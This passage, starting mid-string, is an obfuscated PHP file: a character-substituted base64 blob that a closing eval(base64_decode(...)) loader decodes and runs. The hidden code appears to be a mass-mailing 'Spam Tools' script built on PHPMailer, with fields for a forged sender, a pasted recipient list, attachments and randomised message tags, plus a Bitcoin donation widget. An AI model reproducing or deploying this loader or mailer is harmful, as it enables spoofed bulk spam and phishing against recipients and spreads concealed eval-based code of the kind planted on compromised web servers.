kZnIybV9oNTFkNXIpKTsNCiAgICAgICAgJHQyID0gc3RyX3I1cGwxYzUoJ3wnLCAnPTdDJywgJHRoNHMtPkRLSU1fUVAoJHQyX2g1MWQ1cikpOw0KICAgICAgICAkczNiajVjdCA9IHN0cl9yNXBsMWM1KA0KICAgICAgICAgICAgJ3wnLA0KICAgICAgICAgICAgJz03QycsDQogICAgICAgICAgICAkdGg0cy0+REtJTV9RUCgkczNiajVjdF9oNTFkNXIpDQogICAgICAgICk7IC8vIEMycDQ1ZCBoNTFkNXIgZjQ1bGRzIChkazRtLXEzMnQ1ZC1wcjRudDFibDUpDQogICAgICAgICRiMmR5ID0gJHRoNHMtPkRLSU1fQjJkeUMoJGIyZHkpOw0KICAgICAgICAkREtJTWw1biA9IHN0cmw1bigkYjJkeSk7IC8vIEw1bmd0aCAyZiBiMmR5DQogICAgICAgICRES0lNYmV1ID0gYjFzNWV1XzVuYzJkNShwMWNrKCdIKicsIHNoMTYoJGIyZHkpKSk7IC8vIEIxczVldSAyZiBwMWNrNWQgYjRuMXJ5IFNIQS02IGgxc2ggMmYgYjJkeQ0KICAgICAgICA0ZiAoJycgPT0gJHRoNHMtPkRLSU1fNGQ1bnQ0dHkpIHsNCiAgICAgICAgICAgICQ0ZDVudCA9ICcnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDRkNW50ID0gJyA0PScgLiAkdGg0cy0+REtJTV80ZDVudDR0eSAuICc7JzsNCiAgICAgICAgfQ0KICAgICAgICAkZGs0bWhkcnMgPSAnREtJTS1TNGduMXQzcjU6IHY9NjsgMT0nIC4NCiAgICAgICAgICAgICRES0lNczRnbjF0M3I1VHlwNSAuICc7IHE9JyAuDQogICAgICAgICAgICAkREtJTXEzNXJ5IC4gJzsgbD0nIC4NCiAgICAgICAgICAgICRES0lNbDVuIC4gJzsgcz0nIC4NCiAgICAgICAgICAgICR0aDRzLT5ES0lNX3M1bDVjdDJyIC4NCiAgICAgICAgICAgICI7XHJcbiIgLg0KICAgICAgICAgICAgIlx0dD0iIC4gJERLSU10NG01IC4gJzsgYz0nIC4gJERLSU1jMW4ybjRjMWw0ejF0NDJuIC4gIjtcclxuIiAuDQogICAgICAgICAgICAiXHRoPUZyMm06VDI6UzNiajVjdDtcclxuIiAuDQogICAgICAgICAgICAiXHRkPSIgLiAkdGg0cy0+REtJTV9kMm0xNG4gLiAnOycgLiAkNGQ1bnQgLiAiXHJcbiIgLg0KICAgICAgICAgICAgIlx0ej0kZnIybVxyXG4iIC4NCiAgICAgICAgICAgICJcdHwkdDJcclxuIiAuDQogICAgICAgICAgICAiXHR8JHMzYmo1Y3Q7XHJcbiIgLg0KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYmV1IC4gIjtcclxuIiAuDQogICAgICAgICAgICAiXHRiPSI7DQogICAgICAgICR0MlM0Z24gPSAkdGg0cy0+REtJTV9INTFkNXJDKA0KICAgICAgICAgICAgJGZyMm1faDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICR0Ml9oNTFkNXIgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJHMzYmo1Y3RfaDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICRkazRtaGRycw0KICAgICAgICApOw0KICAgICAgICAkczRnbjVkID0gJHRoNHMtPkRLSU1fUzRnbigkdDJTNGduKTsNCiAgICAgICAgcjV0M3JuICRkazRtaGRycyAuICRzNGduNWQgLiAiXHJcbiI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRDV0NWN0IDRmIDEgc3RyNG5nIGMybnQxNG5zIDEgbDRuNSBsMm5nNXIgdGgxbiB0aDUgbTF4NG0zbSBsNG41IGw1bmd0aCAxbGwydzVkLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGgxc0w0bjVMMm5nNXJUaDFuTTF4KCRzdHIpDQogICAgew0KICAgICAgICAvLythIHQyIDRuY2wzZDUgQ1JMRiBsNG41IGJyNTFrIGYyciAxIDYwMDAgdDJ0MWwNCiAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goJy9eKC57Jy4oczVsZjo6TUFYX0xJTkVfTEVOR1RIICsgYSkuJyx9KS9tJywgJHN0cik7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ3QyJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFQyQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+dDI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ2NjJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dENjQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+Y2M7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ2JjYycgcHIycDVydHkuDQogICAgICogQG4ydDU6IEI1ZjJyNSB0aDUgczVuZCgpIGMxbGwsIHEzNTM1ZCAxZGRyNXNzNXMgKDQuNS4gdzR0aCBJRE4pIDFyNSBuMnQgeTV0IDRuY2wzZDVkLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRCY2NBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5iY2M7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ1I1cGx5VDInIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UjVwbHlUMkFkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPlI1cGx5VDI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJzFsbF9yNWM0cDQ1bnRzJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEFsbFI1YzRwNDVudEFkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFsbF9yNWM0cDQ1bnRzOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFA1cmYycm0gMSBjMWxsYjFjay4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNHNTNW50DQogICAgICogQHAxcjFtIDFycjF5ICR0Mg0KICAgICAqIEBwMXIxbSAxcnIxeSAkY2MNCiAgICAgKiBAcDFyMW0gMXJyMXkgJGJjYw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHMzYmo1Y3QNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMmR5DQogICAgICogQHAxcjFtIHN0cjRuZyAkZnIybQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBkMkMxbGxiMWNrKCQ0c1M1bnQsICR0MiwgJGNjLCAkYmNjLCAkczNiajVjdCwgJGIyZHksICRmcjJtKQ0KICAgIHsNCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+MWN0NDJuX2YzbmN0NDJuKSAmJiA0c19jMWxsMWJsNSgkdGg0cy0+MWN0NDJuX2YzbmN0NDJuKSkgew0KICAgICAgICAgICAgJHAxcjFtcyA9IDFycjF5KCQ0c1M1bnQsICR0MiwgJGNjLCAkYmNjLCAkczNiajVjdCwgJGIyZHksICRmcjJtKTsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jXzFycjF5KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4sICRwMXIxbXMpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovKioNCiAqIFBIUE0xNGw1ciA1eGM1cHQ0Mm4gaDFuZGw1cg0KICogQHAxY2sxZzUgUEhQTTE0bDVyDQogKi8NCmNsMXNzIHBocG0xNGw1ckV4YzVwdDQybiA1eHQ1bmRzIEV4YzVwdDQybg0Kew0KICAgIC8qKg0KICAgICAqIFByNXR0NGZ5IDVycjJyIG01c3MxZzUgMjN0cDN0DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNXJyMnJNNXNzMWc1KCkNCiAgICB7DQogICAgICAgICQ1cnIyck1zZyA9ICc8c3RyMm5nPicgLiAkdGg0cy0+ZzV0TTVzczFnNSgpIC4gIjwvc3RyMm5nPjxiciAvPlxuIjsNCiAgICAgICAgcjV0M3JuICQ1cnIyck1zZzsNCiAgICB9DQp9DQoNCnByNG50ICcNCjxoNTFkPg0KICAgIDx0NHRsNT5QSFAgTTE0bDVyIC0gU3AxbSBUMjJscyBvLjA8L3Q0dGw1Pg0KICAgIDxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PTN0Zi04Ii8+DQogICAgPGw0bmsgaHI1Zj0iaHR0cHM6Ly9tMXhjZG4uYjIydHN0cjFwY2RuLmMybS9iMjJ0c3cxdGNoL28uby5lL2Myc20yL2IyMnRzdHIxcC5tNG4uY3NzIiByNWw9InN0eWw1c2g1NXQiID4NCiAgICA8c2NyNHB0IHNyYz0iaHR0cHM6Ly9tMXhjZG4uYjIydHN0cjFwY2RuLmMybS9iMjJ0c3RyMXAvby5vLmUvanMvYjIydHN0cjFwLm00bi5qcyI+PC9zY3I0cHQ+DQogICAgPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iaHR0cHM6Ly8xajF4LmcyMmdsNTFwNHMuYzJtLzFqMXgvbDRicy9qcTM1cnkvNi44LjAvanEzNXJ5Lm00bi5qcyI+PC9zY3I0cHQ+DQogICAgPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iaHR0cHM6Ly9ibDJja2NoMTRuLjRuZjIvUjVzMjNyYzVzL2pzL3AxeS1uMnctYjN0dDJuLmpzIj48L3NjcjRwdD4NCg0KPC9oNTFkPic7DQoNCnByNG50ICc8YjJkeT4nOw0KcHI0bnQgJzxkNHYgY2wxc3M9ImMybnQxNG41ciBjMmwtbGctZSI+DQogICAgICAgIDxobz48ZjJudCBjMmwycj0iYmwxY2siPjxzcDFuIGNsMXNzPSJnbHlwaDRjMm4gZ2x5cGg0YzJuLTVudjVsMnA1Ij48L3NwMW4+PC9mMm50PiBQSFAgTTE0bDVyIC0gU3AxbSBUMjJscyA8c20xbGw+Jy4kdDIybHNbJ3Y1cnM0Mm4nXS4nPC9zbTFsbD48L2hvPg0KICAgICAgICA8ZjJybSBuMW01PSJmMnJtIiA0ZD0iZjJybSIgbTV0aDJkPSJQT1NUIiA1bmN0eXA1PSJtM2x0NHAxcnQvZjJybS1kMXQxIiAxY3Q0Mm49IiI+DQogICAgICAgICAgICA8ZDR2IGNsMXNzPSJyMnciPg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj48bDFiNWwgZjJyPSJzNW5kNXJFbTE0bCI+UzVuZDVyIEVtMTRsPC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczVuZDVyRW0xNGwiIG4xbTU9InM1bmQ1ckVtMTRsIiB2MWwzNT0iJy4kczVuZDVyRW0xNGwuJyI+PC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diBjbDFzcz0iZjJybS1ncjIzcCBjMmwtbGctZSAiPjxsMWI1bCBmMnI9InM1bmQ1ck4xbTUiPlM1bmQ1ciBOMW01PC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczVuZDVyTjFtNSIgbjFtNT0iczVuZDVyTjFtNSIgdjFsMzU9IicuJHM1bmQ1ck4xbTUuJyI+PC9kNHY+DQogICAgICAgICAgICA8L2Q0dj4NCiAgICAgICAgICAgIDxkNHYgY2wxc3M9InIydyI+DQogICAgICAgICAgICAgICAgPHNwMW4gY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgICI+PGwxYjVsIGYycj0iMXR0MWNobTVudCI+QXR0MWNobTVudCA8c20xbGw+KE0zbHQ0cGw1IEF2MTRsMWJsNSk8L3NtMWxsPjwvbDFiNWw+PDRucDN0IHR5cDU9ImY0bDUiIG4xbTU9IjF0dDFjaG01bnRbXSIgNGQ9IjF0dDFjaG01bnRbXSIgbTNsdDRwbDUvPjwvc3Axbj4NCg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUiPjxsMWI1bCBmMnI9InI1cGx5VDIiPlI1cGx5LXQyPC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0icjVwbHlUMiIgbjFtNT0icjVwbHlUMiIgdjFsMzU9IicuJHI1cGx5VDIuJyIgLz48L2Q0dj4NCiAgICAgICAgICAgIDwvZDR2Pg0KICAgICAgICAgICAgPGQ0diBjbDFzcz0icjJ3Ij4NCiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPSJmMnJtLWdyMjNwIGMybC1sZy02YSAiPjxsMWI1bCBmMnI9InMzYmo1Y3QiPlRoNSBzM2JqNWN0IDJmIHRoNSBtNXNzMWc1PC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczNiajVjdCIgbjFtNT0iczNiajVjdCIgdjFsMzU9IicuJHMzYmo1Y3QuJyIgLz48L2Q0dj4NCiAgICAgICAgICAgIDwvZDR2Pg0KICAgICAgICAgICAgPGQ0diBjbDFzcz0icjJ3Ij4NCiAgICAgICAgICAgICAgICA8ZDR2IGNsMXNzPSJmMnJtLWdyMjNwIGMybC1sZy1lIj48bDFiNWwgZjJyPSJtNXNzMWc1TDV0dDVyIj5NNXNzMWc1IEw1dHQ1cjwvbDFiNWw+PHQ1eHQxcjUxIG4xbTU9Im01c3MxZzVMNXR0NXIiIDRkPSJtNXNzMWc1TDV0dDVyIiBjbDFzcz0iZjJybS1jMm50cjJsIiByMndzPSI2MCIgNGQ9InQ1eHRBcjUxIj4nLiRtNXNzMWc1TDV0dDVyLic8L3Q1eHQxcjUxPjwvZDR2Pg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj48bDFiNWwgZjJyPSI1bTE0bEw0c3QiPlkyM3IgNW0xNGwgbDRzdDwvbDFiNWw+PHQ1eHQxcjUxIG4xbTU9IjVtMTRsTDRzdCIgNGQ9IjVtMTRsTDRzdCIgY2wxc3M9ImYycm0tYzJudHIybCIgcjJ3cz0iNjAiIDRkPSJ0NXh0QXI1MSI+Jy4kNW0xNGxMNHN0Lic8L3Q1eHQxcjUxPjwvZDR2Pg0KICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICA8ZDR2IGNsMXNzPSJyMnciPg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj4NCiAgICAgICAgICAgICAgICAgICAgPGwxYjVsIGYycj0ibTVzczFnNVR5cDUiPk01c3MxZzUgVHlwNTwvbDFiNWw+DQogICAgICAgICAgICAgICAgICAgIEhUTUwgPDRucDN0IHR5cDU9InIxZDQyIiBuMW01PSJtNXNzMWc1VHlwNSIgNGQ9Im01c3MxZzVUeXA1IiB2MWwzNT0iNiIgJy4kaHRtbC4nPg0KICAgICAgICAgICAgICAgICAgICBQbDE0bjw0bnAzdCB0eXA1PSJyMWQ0MiIgbjFtNT0ibTVzczFnNVR5cDUiIDRkPSJtNXNzMWc1VHlwNSIgdjFsMzU9ImEiICcuJHBsMTRuLic+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diBjbDFzcz0iZjJybS1ncjIzcCBjMmwtbGctbyAiPg0KICAgICAgICAgICAgICAgICAgICA8bDFiNWwgZjJyPSI1bmMyZDUiPkVuYzJkNSBUeXA1PC9sMWI1bD4NCiAgICAgICAgICAgICAgICAgICAgPHM1bDVjdCBjbDFzcz0iZjJybS1jMm50cjJsIDRucDN0LXNtIiA0ZD0iNW5jMmQ1IiBuMW01PSI1bmMyZDUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iVVRGLTgiIHM1bDVjdDVkPlVURi04IEVuYzJkNTwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iVVRGLTgiPklTTyBFbmMyZDU8LzJwdDQybj4NCiAgICAgICAgICAgICAgICAgICAgPC9zNWw1Y3Q+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICA8L2Q0dj4gDQogICAgICAgICAgICA8YjN0dDJuIHR5cDU9InMzYm00dCIgY2wxc3M9ImJ0biBidG4tZDVmMTNsdCBidG4tc20iIGYycm09ImYycm0iIG4xbTU9IjFjdDQybiIgdjFsMzU9InM1bmQiPlNFTkQ8L2IzdHQybj4NCiAgIA0KICAgICAgICA8L2Yycm0+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYzJsLWxnLWUiPjxicj4NCiAgICAgICAgPGwxYjVsIGYycj0idzVsbCI+SU5TVFJVQ1RJT05TIEZPUiBVU0UhPC9sMWI1bD4NCiAgICAgICAgPGQ0diA0ZD0idzVsbCIgY2wxc3M9Inc1bGwgdzVsbCI+DQoNCiAgICAgICAgICAgIDxodT5ET05BVEUgVVM8L2h1Pg0KICAgICAgICAgICAgPDNsPg0KPGI+SSBuNTVkIG0ybjV5IHQyIGgxdjUgMSBkNWM1bnQgbDRmNSB3NHRoIG15IGYxbTRseS4gRXY1cnkgdDRtNSB5MjMgZzR2NSBtNSBtMm41eSwgNHQgbTUxbnMgNCBjMW4gc3A1bmQgbXkgdDRtNSBkMjRuZyBuNXcgdDIybHMgbDRrNSB0aDRzIDJyIG0xbnkgMnRoNXJzLCB0aDF0IHkyMyAxbmQgMnRoNXJzIGMxbiAzczUgdGg1bSBmMnIgZnI1NS48YnIgLz4gU2gydyB5MjNyIDFwcHI1YzQxdDQybi4gRDJuMXQ1IDFueSAxbTIzbnQgeTIzIHcxbnQhPC9iPg0KPGQ0diBzdHlsNT0iZjJudC1zNHo1OjZlcHg7bTFyZzRuOjAgMTN0Mjt3NGR0aDpvMDBweCIgY2wxc3M9ImJsMmNrY2gxNG4tYnRuIg0KICAgICBkMXQxLTFkZHI1c3M9IjZCWXM3NWI5dDVkb2Rud3diMzZMS0xNVjFNQ2U4ek42aW8iDQogICAgIGQxdDEtc2gxcjVkPSJmMWxzNSI+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1iNWc0biI+DQogICAgICAgIDw0bWcgc3JjPSJodHRwczovL2JsMmNrY2gxNG4uNG5mMi9SNXMyM3JjNXMvYjN0dDJucy9kMm4xdDVfZXUucG5nIi8+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1sMjFkNG5nIiBzdHlsNT0idDV4dC0xbDRnbjpjNW50NXIiPg0KICAgICAgICA8NG1nIHNyYz0iaHR0cHM6Ly9ibDJja2NoMTRuLjRuZjIvUjVzMjNyYzVzL2wyMWQ0bmctbDFyZzUuZzRmIi8+DQogICAgPC9kNHY+DQogICAgPGQ0diBjbDFzcz0iYmwyY2tjaDE0biBzdDFnNS1yNTFkeSI+DQogICAgICAgICA8cCAxbDRnbj0iYzVudDVyIj5QbDUxczUgRDJuMXQ1IFQyIEI0dGMyNG4gQWRkcjVzczogPGI+W1sxZGRyNXNzXV08L2I+PC9wPg0KICAgICAgICAgPHAgMWw0Z249ImM1bnQ1ciIgY2wxc3M9InFyLWMyZDUiPjwvcD4NCiAgICA8L2Q0dj4NCiAgICA8ZDR2IGNsMXNzPSJibDJja2NoMTRuIHN0MWc1LXAxNGQiPg0KICAgICAgICAgRDJuMXQ0Mm4gMmYgPGI+W1t2MWwzNV1dIEJUQzwvYj4gUjVjNTR2NWQuIFRoMW5rIFkyMy4NCiAgICA8L2Q0dj4NCiAgICA8ZDR2IGNsMXNzPSJibDJja2NoMTRuIHN0MWc1LTVycjJyIj4NCiAgICAgICAgPGYybnQgYzJsMnI9InI1ZCI+W1s1cnIycl1dPC9mMm50Pg0KICAgIDwvZDR2Pg0KPC9kNHY+DQogICAgICAgICAgICA8LzNsPg0KICAgICAgICAgICAgPGh1PkhFTFA8L2h1Pg0KICAgICAgICAgICAgPDNsPg0KICAgICAgICAgICAgICAgIDxsND5bLTVtMTRsLV0gOiA8Yj5SNWM0djVyIEVtMTRsPC9iPjwvbDQ+DQogICAgICAgICAgICAgICAgPGw0PlstdDRtNS1dIDogPGI+RDF0NSAxbmQgVDRtNTwvYj4gKCcuZDF0NSgibS9kL1kgaDo0OnMgMSIsIHQ0bTUoKSkuJyk8L2w0Pg0KICAgICAgICAgICAgICAgIDxsND5bLTVtMTRsM3M1ci1dIDogPGI+RW0xNGwgVXM1cjwvYj4gKDVtMTRsM3M1ckA1bTE0bGQybTE0bik8L2w0Pg0KICAgICAgICAgICAgICAgIDxsND5bLXIxbmQybXN0cjRuZy1dIDogPGI+UjFuZDJtIHN0cjRuZyAoMC05LDEteik8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+Wy1yMW5kMm1uM21iNXItXSA6IDxiPlIxbmQybSBuM21iNXIgKDAtOSkgPC9iPjwvbDQ+DQogICAgICAgICAgICAgICAgPGw0PlstcjFuZDJtbDV0dDVycy1dIDogPGI+UjFuZDJtIEw1dHQ1cnMoMS16KSA8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+Wy1yMW5kMm1tZGktXSA6IDxiPlIxbmQybSBNRGkgPC9iPjwvbDQ+DQogICAgICAgICAgICA8LzNsPg0KICAgICAgICAgICAgPGh1PjV4MW1wbDU8L2h1Pg0KICAgICAgICAgICAgUjVjNHY1ciBFbTE0bCA9IDxiPjNzNXJAZDJtMTRuLmMybTwvYj48YnI+DQogICAgICAgICAgICA8M2w+DQogICAgICAgICAgICAgICAgPGw0Pmg1bGwyIDxiPlstNW0xNGwzczVyLV08L2I+IC0+IGg1bGwyIDxiPjNzNXI8L2I+PC9sND4NCiAgICAgICAgICAgICAgICA8bDQ+eTIzciBjMmQ1IDRzICA8Yj5bLXIxbmQybW1kaS1dPC9iPiAtPiB5MjNyIGMyZDUgNHMgPGI+NTYwMWRjbzl1OWIxaTkxYmI1aWU1MGk3ZmEwZjg4bzU8L2I+PC9sND4NCiAgICAgICAgICAgIDwvM2w+DQogICAgICAgICAgICA8aHU+TjV3cyAsIEMybnQxY3QsIFNjMW0gUDFnNSwgVDIybHMgRnI1NTwvaHU+DQogICAgICAgICAgICA8M2w+DQogICAgICAgICAgICAgICcuJHQyMmxzWydsNHN0dDIybHMnXS4nDQoNCiAgICAgICAgICAgIDwvM2w+DQogICAgICAgIDwvZDR2Pg0KICAgIDwvZDR2Pic7ICAgIA0KICAgIA0KNGYoJF9QT1NUWycxY3Q0Mm4nXT09InM1bmQiKXsNCiAgICBwcjRudCAnICAgIDxkNHYgY2wxc3M9ImMybC1sZy02YSI+JzsNCiAgICAkbTE0bGw0c3Q9NXhwbDJkNSgiXHJcbiIsICQ1bTE0bEw0c3QpOw0KICAgICRuPWMyM250KCRtMTRsbDRzdCk7DQogICAgJHggPTY7DQogICAgZjJyNTFjaCAoJG0xNGxsNHN0IDFzICQ1bTE0bCApIHsNCiAgICAgICAgcHI0bnQgJzxkNHYgY2wxc3M9ImMybC1sZy02Ij5bJy4keC4nLycuJG4uJ108L2Q0dj48ZDR2IGNsMXNzPSJjMmwtbGctaSI+Jy4kNW0xNGwuJzwvZDR2Pic7DQogICAgICAgIDRmKCFzcDFtdDIybHNNMTRsQ2g1Y2soJDVtMTRsKSkgew0KICAgICAgICAgICAgcHI0bnQgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtZDVmMTNsdCI+SW5jMnJyNWN0IEVtMTRsPC9zcDFuPjwvZDR2Pic7DQogICAgICAgICAgICBwcjRudCAiPGJyPlxyXG4iOw0KICAgICAgICB9DQogICAgICAgIDVsczUgew0KICAgICAgICAgICAgJG0xNGwgPSBuNXcgUEhQTTE0bDVyOw0KICAgICAgICAgICAgJG0xNGwtPnM1dEZyMm0oc3AxbXQyMmxzQ2w1MXIoJHM1bmQ1ckVtMTRsLCQ1bTE0bCksc3AxbXQyMmxzQ2w1MXIoJHM1bmQ1ck4xbTUsJDVtMTRsKSk7DQogICAgICAgICAgICAkbTE0bC0+MWRkUjVwbHlUMihzcDFtdDIybHNDbDUxcigkcjVwbHlUMiwkNW0xNGwpKTsNCiAgICAgICAgICAgICRtMTRsLT4xZGRBZGRyNXNzKCQ1bTE0bCk7DQogICAgICAgICAgICAkbTE0bC0+UzNiajVjdCA9IHNwMW10MjJsc0NsNTFyKCRzM2JqNWN0LCQ1bTE0bCk7DQogICAgICAgICAgICAkbTE0bC0+QjJkeSA9ICBzcDFtdDIybHNDbDUxcigkbTVzczFnNUw1dHQ1ciwkNW0xNGwpOw0KICAgICAgICAgICAgJG0xNGwtPkNoMXJTNXQgPSAkNW5jMmQ1Ow0KICAgICAgICAgICAgZjJyKCQ0PTA7ICQ0PGMyM250KCRfRklMRVNbJzF0dDFjaG01bnQnXVsnbjFtNSddKTsgJDQrKykgew0KICAgICAgICAgICAgICAgIDRmICgkX0ZJTEVTWycxdHQxY2htNW50J11bJ3RtcF9uMW01J11bJDRdICE9ICIiKXsNCiAgICAgICAgICAgICAgICAgICAgJG0xNGwtPkFkZEF0dDFjaG01bnQoJF9GSUxFU1snMXR0MWNobTVudCddWyd0bXBfbjFtNSddWyQ0XSwkX0ZJTEVTWycxdHQxY2htNW50J11bJ24xbTUnXVskNF0pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJG01c3MxZzVUeXA1PT02KXskbTE0bC0+SXNIVE1MKHRyMzUpO30NCiAgICAgICAgICAgIDVsczUgeyRtMTRsLT5Jc0hUTUwoZjFsczUpO30NCiAgICAgICAgICAgIDRmICghJG0xNGwtPnM1bmQoKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtZDVmMTNsdCI+Jy4kbTE0bC0+RXJyMnJJbmYyLic8L3NwMW4+PC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9ImMybC1sZy1lIj48c3AxbiBjbDFzcz0ibDFiNWwgbDFiNWwtczNjYzVzcyI+T2s8L3NwMW4+PC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHByNG50ICI8YnI+XHJcbiI7DQogICAgICAgIH0NCiAgICAgICAgJHgrKzsNCiAgICAgICAgZjJyKCRrID0gMDsgJGsgPCB1MDAwMDsgJGsrKykgezVjaDIgJyAnO30NCiAgICB9DQoNCn0NCnByNG50ICc8L2IyZHk+JzsNCj8+DQo=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7J